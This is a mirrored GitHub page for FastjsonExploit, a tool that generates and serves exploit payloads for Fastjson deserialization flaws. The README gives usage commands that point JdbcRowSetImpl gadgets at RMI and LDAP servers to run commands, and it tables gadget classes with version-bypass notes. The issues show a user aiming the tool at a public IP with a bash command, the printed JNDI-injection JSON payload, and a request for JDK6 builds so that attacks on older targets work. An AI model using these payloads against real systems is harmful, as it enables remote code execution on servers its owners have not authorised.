Giter VIP home page Giter VIP logo

fastjsonexploit's Introduction

FastjonExploit | Fastjson漏洞快速利用框架

0x01 Introduce

FastjsonExploit是一个Fastjson漏洞快速漏洞利用框架，主要功能如下：

  1. 一键生成利用payload，并启动所有利用环境。
  2. 管理Fastjson各种payload（当然是立志整理所有啦，目前6个类，共11种利用及绕过）

0x02 Buiding

Requires Java 1.7+ and Maven 3.x+

mvn clean package -DskipTests

0x03 Usage



.---- -. -. .  .   .
   ( .',----- - - ' '
    \_/      ;--:-\         __--------------------__
   __U__n_^_''__[. |ooo___  | |_!_||_!_||_!_||_!_| |
 c(_ ..(_ ..(_ ..( /,,,,,,] | |___||___||___||___| |
 ,_\___________'_|,L______],|______________________|
/;_(@)(@)==(@)(@)   (o)(o)      (o)^(o)--(o)^(o)

FastjsonExploit is a Fastjson library vulnerability exploit framework
                Author:c0ny1<[email protected]>


Usage: java -jar Fastjson-[version]-all.jar [payload] [option] [command]
Exp01: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 rmi://127.0.0.1:1099/Exploit "cmd:calc"
Exp02: java -jar FastjsonExploit-[version].jar JdbcRowSetImpl1 ldap://127.0.0.1:1232/Exploit "code:custom_code.java"
Exp03: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "cmd:calc"
Exp04: java -jar FastjsonExploit-[version].jar TemplatesImpl1 "code:custom_code.java"

Available payload types:
    Payload                PayloadType VulVersion      Dependencies                                      
    -------                ----------- ----------      ------------                                      
    BasicDataSource1       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
    BasicDataSource2       local       1.2.2.1-1.2.2.4 tomcat-dbcp:7.x, tomcat-dbcp:9.x, commons-dbcp:1.4
    JdbcRowSetImpl1        jndi        1.2.2.1-1.2.2.4                                                   
    JdbcRowSetImpl2        jndi        1.2.2.1-1.2.4.1 Fastjson 1.2.41 bypass                            
    JdbcRowSetImpl3        jndi        1.2.2.1-1.2.4.3 Fastjson 1.2.43 bypass                            
    JdbcRowSetImpl4        jndi        1.2.2.1-1.2.4.2 Fastjson 1.2.42 bypass                            
    JdbcRowSetImpl5        jndi        1.2.2.1-1.2.4.7 Fastjson 1.2.47 bypass                            
    JndiDataSourceFactory1 jndi        1.2.2.1-1.2.2.4 ibatis-core:3.0                                   
    SimpleJndiBeanFactory1 jndi        1.2.2.2-1.2.2.4 spring-context:4.3.7.RELEASE                      
    TemplatesImpl1         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)   
    TemplatesImpl2         local       1.2.2.1-1.2.2.4 xalan:2.7.2(need Feature.SupportNonPublicField)

0x04 Notice

  • 帮助信息所说明的payload可利用的Fastjson版本，不一定正确。后续测试更正！

0x05 Reference

fastjsonexploit's People

Contributors

c0ny1 avatar hellococooo avatar

Stargazers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Watchers

avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar avatar

Forkers

crackercat l34rner imjdl 5up3rc vf3ng attackgithub 0xa-saline heartway j1anfen jayl1n yizhimanpadewoniu 0x6b7966 coffeehb c0d1007 sharpbladelab shellsec qq592304796 phelaine thinkergod qxssong justdosecurity biubiuniu yangshuangfu greg-wu dingafter crashiers ba0zi t43wiu6 02bx angelwhu finch0001 yogistudio hacker-one caizhuang benhe119 wutenglan steven1ay lonehand raystyle 814561039 quinn-yan sry309 f8syw5v haihaihihihi starkchristmas mmmmmmark yaoxiaodai test123test111 1sn0m4d iiiusky hellococooo wx-t rassec binihao5bei idealdreamlast gold1029 shuitianyise powerflio javalangclass happygongzhuo mmg1 greatspider135 kong-f narakai artemis1029 rebootorz m3g4byt3 monopole-zh devilmaycrying makefunny evilashz 3453-315h underwood12 pyking laowang1026 re-expoc shad0w008 gayhub-blackerie wang0098 conanjun sunpeak te5t321 x-man yuehan124 5l1v3r1 1337g w4ter p4yche want2live233 yangbh endual evi1hack 0xf4vul bill-bil polinload bigbigx fdlucifer lzb960827 blyth0he traxsw

fastjsonexploit's Issues

mvn出现编码gbk的不可映射字符问题!

在windows下进行mvn clean package -DskipTests编译是，出现编码gbk的不可映射字符
可以在pom.xml文件中增加以下内容解决

<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

能运行，没有执行系统命令

C:\Users\Limite\Desktop\FastjsonExploit\target>java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl1 ldap://111.229.24.83:8090/Exploit "/bin/bash -c ls"
[*] payload build success!

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://111.229.24.83:8090/Exploit","autoCommit":true}没有执行系统命令

poc生成的jdk版本太高

当使用mvn编译的时候，发现只支持jdk7+。但是好多目标环境都是使用的jdk6的版本，所以攻击失败。
因为jdk向下兼容的原因，建议修改mvn打包的依赖为jdk6。

Dependency Conflict: duplicate classes "javassist.bytecode.ConstPool.addUtf8Info" in different JARs, have different implementations

Hi, in FastjsonExploit, duplicate classes with the same fully-qualified name javassist.bytecode.ConstPool.addUtf8Info are included in two different libraries, i.e., javassist:javassist:3.12.0.GA and org.javassist:javassist:3.18.2-GA.

According to "first declaration wins" class loading strategy, only this class in org.javassist:javassist:3.18.2-GA can be loaded, and that in javassist:javassist:3.12.0.GA will be shadowed.

By further analyzing, your project expects to invoke method javassist.bytecode.ConstPool.addUtf8Info in javassist:javassist:3.12.0.GA. As it has been shadowed, so that this method defined in org.javassist:javassist:3.18.2-GA are actually forced to be referenced via the following invocation path:

<gadget.Gadget: getBasicDataSource1ExpCode(Ljava/lang/String;)[B> /root/sensor/unzip/FastjsonExploit-master/target/classes
<javassist.CtClassType: makeClassInitializer()Ljavassist/CtConstructor;> /root/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar
<javassist.CtClassType: modifyClassConstructor(Ljavassist/bytecode/ClassFile;Ljavassist/bytecode/Bytecode;II)V> /root/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar
<javassist.bytecode.MethodInfo: <init>(Ljavassist/bytecode/ConstPool;Ljava/lang/String;Ljava/lang/String;)V> /root/.m2/repository/javassist/javassist/3.12.0.GA/javassist-3.12.0.GA.jar
<javassist.bytecode.ConstPool: addUtf8Info(Ljava/lang/String;)I>

Workaround solution:
An easy way to workaround the problem is reversing the declaration order of these two libraries (i.e., reverse the declaration order of httpclient and maven-resolver-transport-http) in pom file.
Then, according to "first declaration wins" class loading strategy, class javassist.bytecode.ConstPool.addUtf8Info in javassist:javassist:3.12.0.GA can be loaded (the version that FastjsonExploit expects to reference by static analysis).
This fix will not affect other libraries or class, except the above duplicate class.

Dependency tree---

[INFO] me.gv7.tools:FastjsonExploit:jar:0.1-beta2
[INFO] +- org.reflections:reflections:jar:0.9.9:compile
[INFO] | +- com.google.guava:guava:jar:15.0:compile
[INFO] | +- org.javassist:javassist:jar:3.18.2-GA:compile
[INFO] | - com.google.code.findbugs:annotations:jar:2.0.1:compile
[INFO] +- org.apache.tomcat:tomcat-catalina:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-servlet-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-jsp-api:jar:9.0.20:compile
[INFO] | | - org.apache.tomcat:tomcat-el-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-juli:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-annotations-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-api:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-jni:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-coyote:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-util:jar:9.0.20:compile
[INFO] | +- org.apache.tomcat:tomcat-util-scan:jar:9.0.20:compile
[INFO] | - org.apache.tomcat:tomcat-jaspic-api:jar:9.0.20:compile
[INFO] +- com.unboundid:unboundid-ldapsdk:jar:3.1.1:compile
[INFO] +- com.alibaba:fastjson:jar:1.2.24:compile
[INFO] +- org.apache.ibatis:ibatis-core:jar:3.0:compile
[INFO] +- org.apache.directory.studio:org.apache.commons.io:jar:2.4:compile
[INFO] | - commons-io:commons-io:jar:2.4:compile
[INFO] +- org.apache.directory.studio:org.apache.commons.codec:jar:1.8:compile
[INFO] | - commons-codec:commons-codec:jar:1.8:compile
[INFO] +- org.apache.tomcat:tomcat-dbcp:jar:7.0.0:compile
[INFO] +- xalan:xalan:jar:2.7.2:compile
[INFO] | - xalan:serializer:jar:2.7.2:compile
[INFO] | - xml-apis:xml-apis:jar:1.3.04:compile
[INFO] +- org.springframework:spring-beans:jar:4.3.7.RELEASE:compile
[INFO] | - org.springframework:spring-core:jar:4.3.7.RELEASE:compile
[INFO] | - commons-logging:commons-logging:jar:1.2:compile
[INFO] +- org.springframework:spring-context:jar:4.3.7.RELEASE:compile
[INFO] | - org.springframework:spring-expression:jar:4.3.7.RELEASE:compile
[INFO] +- org.springframework:spring-aop:jar:4.3.7.RELEASE:compile
[INFO] +- org.apache.xbean:xbean-naming:jar:4.5:compile
[INFO] +- commons-dbcp:commons-dbcp:jar:1.4:compile
[INFO] | - commons-pool:commons-pool:jar:1.5.4:compile
[INFO] - javassist:javassist:jar:3.12.0.GA:compile

Thank you very much.
Best,
Coco

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.